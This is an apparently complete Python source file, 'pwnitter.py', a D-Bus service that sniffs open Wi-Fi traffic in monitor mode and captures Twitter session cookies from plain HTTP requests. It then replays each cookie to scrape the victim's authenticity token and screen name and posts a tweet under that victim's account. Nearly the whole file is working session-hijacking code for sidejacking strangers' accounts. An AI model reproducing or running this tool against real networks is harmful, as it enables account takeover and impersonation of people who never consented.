e8404c2f8b6d2aaf2d875bd618438ee25cca2b0d
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import logging
11 import logging.config
12 import socket
13 import time
14 import gobject
15 import select
16 import subprocess
17 import urllib2
18
19 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
20
21 def usage(): 
22     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
23     sys.exit(1)
24
25 NAME = 'de.cryptobitch.muelli.Pwnitter'
26
27 class Pwnitter(dbus.service.Object):
28     def __init__(self, bus, object_name, device='mon0'):
29         super(Pwnitter, self).__init__(bus, object_name)
30         self.device = device
31         
32         self.status = status
33         self.is_running = False
34
35     def setup_monitor(device='mon0'):
36         # FIXME: Replace hardcoded interface 
37         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
38         subprocess.call(cmd)
39         cmd = '/sbin/ifconfig mon0 up'.split()
40         subprocess.call(cmd)
41     
42     @dbus.service.method(NAME,
43                          in_signature='', out_signature='')
44     def Start(self, filename=None):
45         # FIXME: Prevent double Start()
46         if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
47             self.setup_monitor(device)
48             device = self.device
49         else: # We have given a filename, so let's make PCap read from the file
50             device = filename
51         self.is_running = True
52         try:
53             self.cap = pcap.pcap(device)
54         except OSError, e:
55             print "Error setting up %s" % device
56             raise e
57         self.cap.setfilter('dst port 80')
58         cap_fileno = self.cap.fileno()
59         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
60
61     @dbus.service.method(NAME,
62                          in_signature='s', out_signature='')
63     def StartFromFile(self, filename):
64         return self.Start(filename=filename)
65
66     
67     def cap_readable_callback(self, source, condition, device):
68         return self.pwn(device, self.MessageSent)
69         
70     @dbus.service.signal(NAME)
71     def MessageSent(self, who):
72         print "Emitting MessageSent"
73         return who
74         return False
75         pass
76
77     @dbus.service.method(NAME,
78                          in_signature='s', out_signature='')
79     def SetMessage(self, message):
80         self.status = message
81         
82     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
83                          in_signature='', out_signature='s')
84     def GetMessage(self):
85         return self.status
86
87
88     def tear_down_monitor(self, device='mon0'):
89         cmd = '/sbin/ifconfig mon0 down'.split()
90         subprocess.call(cmd)
91         cmd = '/usr/sbin/iw dev mon0 del'.split()
92         subprocess.call(cmd)
93     
94     @dbus.service.method(NAME,
95                          in_signature='', out_signature='')
96     def Stop(self):
97         self.is_running = False
98         print "Receive Stop"
99         gobject.source_remove(self.source_id)
100         self.tear_down_monitor(self.device)
101         loop.quit()
102
103
104     def pwn(self, device, tweeted_callback=None):
105         log = logging.getLogger('pwn')
106         
107         processed = {}
108         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
109             ts, raw = self.cap.next()
110             eth = dpkt.ethernet.Ethernet(raw)
111             log.debug('got a packet')
112             # Depending on platform, we can either get fully formed packets or unclassified radio data
113             if isinstance(eth.data, str):
114                 data = eth.data
115             else:
116                 data = eth.data.data.data
117
118             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
119             if hostMatches:
120                 log.debug('Host matched')
121                 host = hostMatches.group(1)
122
123                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
124                 log.debug('CookieMatches? %r', cookieMatches)
125                 if cookieMatches:
126                     cookie = cookieMatches.group(1)
127                     log.debug('yummie Cookie %r', cookie)
128
129                     headers = {
130                         "User-Agent": "Mozilla/5.0",
131                         "Cookie": cookie,
132                     }
133                     
134                     try:
135                         page = urllib2.urlopen("https://%s/" % host).read()
136                     except socket.error, e:
137                         log.error(e)
138                     else:
139                         log.debug('Connected to host %s', host)
140
141                         # Newtwitter and Oldtwitter have different formatting, so be lax
142                         authToken = ''
143
144                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
145                         if formMatches:
146                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
147
148                             if authMatches:
149                                 authToken = authMatches.group(1)
150                                 log.info('Found auth token %r', authToken)
151
152                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
153                         if not nameMatches:
154                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
155
156                         name = ''
157                         if nameMatches:
158                             name = nameMatches.group(1)
159                             log.info('Found name %r', name)
160
161
162                         # We don't want to repeatedly spam people
163                         # FIXME: What the fuck logic. Please clean up
164                         if not ((not name and host != 'mobile.twitter.com') or name in processed):
165                             headers = {
166                                 "User-Agent": "Mozilla/5.0",
167                                 "Accept": "application/json, text/javascript, */*",
168                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
169                                 "X-Requested-With": "XMLHttpRequest",
170                                 "X-PHX": "true",
171                                 "Referer": "http://api.twitter.com/p_receiver.html",
172                                 "Cookie": cookie
173                             }
174
175
176                             log.debug('Issueing connection')
177                             if host == 'mobile.twitter.com':
178
179                                 params = urllib.urlencode({
180                                     'tweet[text]': self.status,
181                                     'authenticity_token': authToken
182                                 })
183
184                                 conn = httplib.HTTPConnection("mobile.twitter.com")
185                                 conn.request("POST", "/", params, headers)
186
187                             else:
188
189                                 params = urllib.urlencode({
190                                     'status': self.status,
191                                     'post_authenticity_token': authToken
192                                 })
193
194                                 conn = httplib.HTTPConnection("api.twitter.com")
195                                 conn.request("POST", "/1/statuses/update.json", params, headers)
196
197
198                             response = conn.getresponse()
199                             log.debug('Got response: %s', response.status)
200                             if response.status == 200 or response.status == 302 or response.status == 403:
201
202                                 if name:
203                                     processed[name] = 1
204
205                                 # 403 is a dupe tweet
206                                 if response.status != 403:
207                                     log.info("Successfully tweeted as %s", name)
208                                     if tweeted_callback:
209                                         tweeted_callback(name)
210                                 else:
211                                     log.info('Already tweeted as %s', name)
212
213                             else:
214
215                                 log.error("FAILED to tweet as %s, debug follows:", name)
216                                 log.error("%s, %s", response.status, response.reason)
217                                 log.error("%s", response.read())
218         return self.is_running # Execute next time, we're idle
219     # FIXME: Ideally, check     whether Pcap has got data for us
220
221 def main():
222
223     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
224     device = None
225     for o, a in opts:
226         if o == '-i':
227             device = a
228         else:
229             usage()
230     #pwn(device)
231
232
233
234 if __name__ == '__main__':
235     from optparse import OptionParser
236     parser = OptionParser("usage: %prog [options]")
237     parser.add_option("-l", "--loglevel", dest="loglevel", 
238                       help="Sets the loglevel to one of debug, info, warn, error, critical")
239     parser.add_option("-s", "--session", dest="use_session_bus",
240                       action="store_true", default=False,
241                       help="Bind Pwnitter to the SessionBus instead of the SystemBus")
242     (options, args) = parser.parse_args()
243     loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
244                 'warn': logging.WARN, 'error': logging.ERROR,
245                 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
246     logging.basicConfig(level=loglevel)
247     #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging
248     log = logging.getLogger("Main")
249
250     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
251
252     if options.use_session_bus:
253         session_bus = dbus.SessionBus()
254     else:
255         session_bus = dbus.SystemBus()
256     name = dbus.service.BusName(NAME, session_bus)
257     pwnitter = Pwnitter(session_bus, '/Pwnitter')
258     #object.Start()
259
260     loop = gobject.MainLoop()
261     log.info("Running example signal emitter service.")
262     # FIXME: This is debug code
263     #gobject.idle_add(pwnitter.MessageSent)
264     
265     loop.run()
266     print "Exiting for whatever reason"
267     #main()